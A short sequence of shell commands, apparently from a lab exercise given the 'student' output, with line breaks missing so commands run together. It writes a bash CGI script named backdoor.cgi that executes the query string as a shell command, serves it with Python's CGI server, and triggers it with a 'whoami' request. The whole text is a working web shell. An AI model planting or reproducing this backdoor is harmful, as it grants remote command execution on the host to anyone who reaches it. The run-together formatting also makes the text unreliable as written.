cd /tmpmkdir cgi-binecho '#!/bin/bash' > ./cgi-bin/backdoor.cgiecho 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgiecho 'echo -e $($1)' >> ./cgi-bin/backdoor.cgichmod +x ./cgi-bin/backdoor.cgi python -m http.server --cgiwget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"student